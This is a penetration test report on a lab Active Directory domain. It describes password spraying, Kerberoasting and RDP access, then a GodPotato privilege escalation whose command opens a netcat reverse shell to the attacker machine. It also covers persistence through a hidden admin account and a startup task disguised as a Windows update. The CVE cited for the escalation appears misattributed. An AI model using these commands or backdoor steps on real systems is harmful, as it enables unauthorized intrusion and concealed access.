Active Directory Penetration Testing Report

Conducted by:

G S Sudeep

Table of contents

Corp.local Active Directory Penetration Testing Report

1 Engagement Overview

1.1 Purpose

The purpose of this engagement is to perform an internal Penetration test of the Active directory simulating real-world black hat hacker with no prior credentials. Goal is to identify the weaknesses in the configurations, credential, Access control assignments and endpoint security that could lead to the domain compromise.

1.2 Scope

In scope

- Active Directory domain
- Domain controller
- Client workstation (Windows systems)
- Internal IP range

Out of scope

- Denial of service
- Physical attacks
- External perimeter testing
- Systems other than windows

1.3 Attack model

Black-box testing with attacker on same network

2 Methodology

CEH/CPENT aligned attack methodology:

1. Network enumeration
2. Active directory reconnaissance
3. Credential discovery
4. Initial access
5. Post-initial access enumeration
6. Lateral movement
7. Privilege escalation
8. Domain compromise validation
9. Persistence establishment

3 Tools used

Category	Tools
Enumeration	Nmap, CrackMapExec
AD attacks	Kerbrute, Impacket
Graph analysis	BloodHound
Password attacks	Hashcat
Privilege escalation	Printspoofer, Godpotato
Post exploitation	Net.exe, schtasks
RDP	FreeRDP
Attacker machine	Kali linux

4 Recon and Enumeration of the network

4.1 Host discovery

Ping scan of the internal network 192.168.100.0/24 revealed:

- 192.168.100.10
- 192.168.100.20
- 192.168.100.30
- 192.168.100.200 (kali linux - attacker)

Evidence: hosts.txt

4.2 Port scan, service version detection and default nmap scan scripts against 192.168.100.10 revealed

- Domain controller

Open port	Service	Potential attack surface
53	DNS	Domain enumeration
88	Kerberos	Kerberoasting, AS-REP Roasting
389/3268	LDAP	Anonymous binds and Users, groups and domain information disclosure
464	kpasswd	Password attacks
139/445	SMB	Shares, users and domain enumeration
135	MSRPC	Lateral movement/ Privilege escalation
9389	ADWS	Domain info via SOAP/XML queries
5986	WinRM	Post-exploitation abuse

NOTE: SMB2 negotiation failed
Evidence: dc_scan.txt

4.3 Port scan, service version detection and default nmap scan scripts against 192.168.100.20 revealed

- Windows workstation
- SMB open but message signing required
- Multiple RPC ports open which can be used for credentialed lateral movement

Evidence: win11_scan.txt

4.4 Anonymous LDAP enumeration

Tried user account enumeration using Impacket toolkit
Result: Anonymous LDAP bind is disabled on domain controller

4.5 Kerberos username enumeration through brute force

Valid users discovered:

- intern1
- jack

Evidence:

- Usernames used for brute force: users_for_brute.txt
- Users found: kerbrute_users.txt

5 Enumeration/attacks without credentials

5.1 AS-REP roasting with identified users using Impacket

Result: Not vulnerable to AS-REP roasting
Evidence: no_AS_REP_roasting.txt

5.2 Attempting kerberoasting using Impacket

Result: Not vulnerable to Kerberoasting (no creds)
Evidence: no_kerberoasting.txt

5.3 Attempted anonymous session setup using smbclient

Result: Rejected null session indicating anonymous enumeration of shares is disabled
Evidence: smb_sysvol.txt

5.4 Attempted access to SYSVOL share using smbclient

Result: Anonymous login was successful but tree connect failed indicating Access control list prevent browsing SYSVOL share without valid credentials
Evidence: smb_sysvol.txt

5.5 Attempted LLMNR/NBT-NS poisoning using responder

Result: No credentials were captured

5.6 Attempted password spray on identified users using kerbrute

One valid credentials found:
Intern1@corp.local : Welcome@123
Evidence: password_spray.txt

CVSS v3.1

- Finding – Password Spraying (weak credentials)
- CWE-521
- Score – 6.5
- Severity - Medium

6 Attacks/Enumeration with cracked credentials

6.1 Kerberoasting with intern1 user credentials:

Result:

- Service account found – sql_svc
- sql_svc has backup operator rights
- Hash of the service account sql_svc is retrieved - kerberoast_hash.txt

Evidence: kerberoast_with_creds.txt

CVSS v3.1

- Finding – Kerberoastable Service Account
- Kerberos design flaw
- Score – 8.8
- Severity - High

6.2 Attempting offline cracking of service account hash using hashcat

Result: Unable to crack password

6.3 Gathered relationship data using bloodhound-python ingestor tool and uploaded to bloodhound

Result: intern1 is

- Domain Users only
- No adminCount
- No sessions
- No local admin privileges
- No execution privileges
- No DCSync rights
- No direct privilege escalation path
- No GenericAll
- No WriteDACL

Found a user 'jack' who has RDP rights enabled

6.4 Attempting SMB enumeration using intern1 credentials through Crackmapexec

Result:

- Shares with READ permissions on DC: IPC$, NETLOGON and SYSVOL
- Shares with READ permissions on CLIENT11: IPC$

6.5 Attempting offline cracking of service account with bigger wordlist using hashcat:

Hash cracked – sql_svc@corp.local : Passw0rd@123

6.6 Attempted to dump SAM and LSA using crackmapexec:

No useful data returned
Evidence: multiple_tries.png

6.7 Was run but no result was shown indicating sql_svc is not a local admin

6.8 Remote execution attempts; smbexec, wmiexec and psexec failed indicating sql_svc account lacks remote execution privileges

Evidence: multiple_tries2.png

6.9 SMB enumeration targeting C$ administrative share on DC using sql_svc credentials:

Result:

- Windows\System32\config – successfully listed contents
- Windows\NTDS – Access denied
- Backup, temp – Not found

Evidence: multiple_tries3.png

6.10 Attempting password spraying on user jack since the user has RDP rights

Password found – jack@corp.local : Passw0rd@123

CVSS v3.1

- Finding – Password Spraying (weak credentials)
- CWE-521
- Score – 6.5
- Severity - Medium

6.11 Attempting login through RDP to CLIENT11 workstation (login to DC denied)

RDP login successful as user jack

Evidence: rdp_works.png

CVSS v3.1

- Finding – Excessive RDP privileges
- CWE-284
- Score – 8.1
- Severity - High

7 Privilege Escalation

7.1 Found SeImpersonate Privilege enabled on user jack by running 'whoami /priv' command on command prompt of the user jack

7.2 Transferred PrintSpoofer exploit to CLIENT11 system:

Hosted PrintSpoofer executable on kali server and downloaded it into CLIENT11 system.

7.3 PrintSpoofer exploit failed – missing VC++ runtime dependency

7.4 Pivoted to COM-based privilege escalation exploit GodPotato-NET4

Result:

Attained reverse shell on kali linux machine with ‘nt authority/system’ level access of CLIENT11 machine.

Commands:

- Kali – nc -nlvp 5555
- Rdp session – GodPotato-NET4.exe -cmd “c:\Users\jack\Downloads\nc64.exe -t -e C:\Windows\System32\cmd.exe 192.168.100.200 5555

CVSS v3.1:

- Finding – SeImpersonatePrivilege Abuse
- CVE-2021-36942
- Score – 9.8
- Severity – Critical

8 Persistence

8.1 On obtained reverse shell revealed SeDebugPrivilege which indicates potential LSASS access

Evidence: whoami_priv_output.png

8.2 Further investigation revealed that LSASS is protected by credential guard

8.3 Created new user ‘pentest : P@ssw0rd!’:

- Added to localgroup ‘administrators’
- Added to localgroup ‘Remote Desktop Users’

Evidence: persistence.png

8.4 Validation of user ‘pentest’

- Logged into CLIENT11 with user ‘pentest’
- Confirmed Privileges through ‘whoami’ and ‘net session’ commands

Evidence: pentest_user_login_proof.png

8.5 Steps to ensure prolonged access and evasion

- Hid the user from Windows login screen through Registry modification
- Set the ‘pentest’ account to never expire
- Created a scheduled task ‘Microsoft Update Service’ that runs cmd.exe at system startup with SYSTEM privileges

Evidence: pswd_dont_expire_scheduled_task.png

CVSS v3.1

- Finding - Local Admin Persistence via Scheduled Task
- CWE-733
- Score – 7.2
- Severity - High

9 Impact Assessment

Business Impact

- Full SYSTEM compromise on workstation
- Ability to dump credentials
- Persistent backdoor access
- Potential domain compromise

Severity: Critical

10 Remediation Recommendations

Immediate

- Change all credentials and enforce strong password policies
- Remove SeImpersonatePrivilege from non-admin users

Short term

- Review and restrict RDP access
- Implement LAPS (Local Administrator Password Solution)

11 Conclusion

This pentesting assessment demonstrated a complete kill chain from Zero credentials to System compromise
Key weakness included:

- Weak passwords
- Excessive privileges

Domain environment is highly vulnerable without proper remediation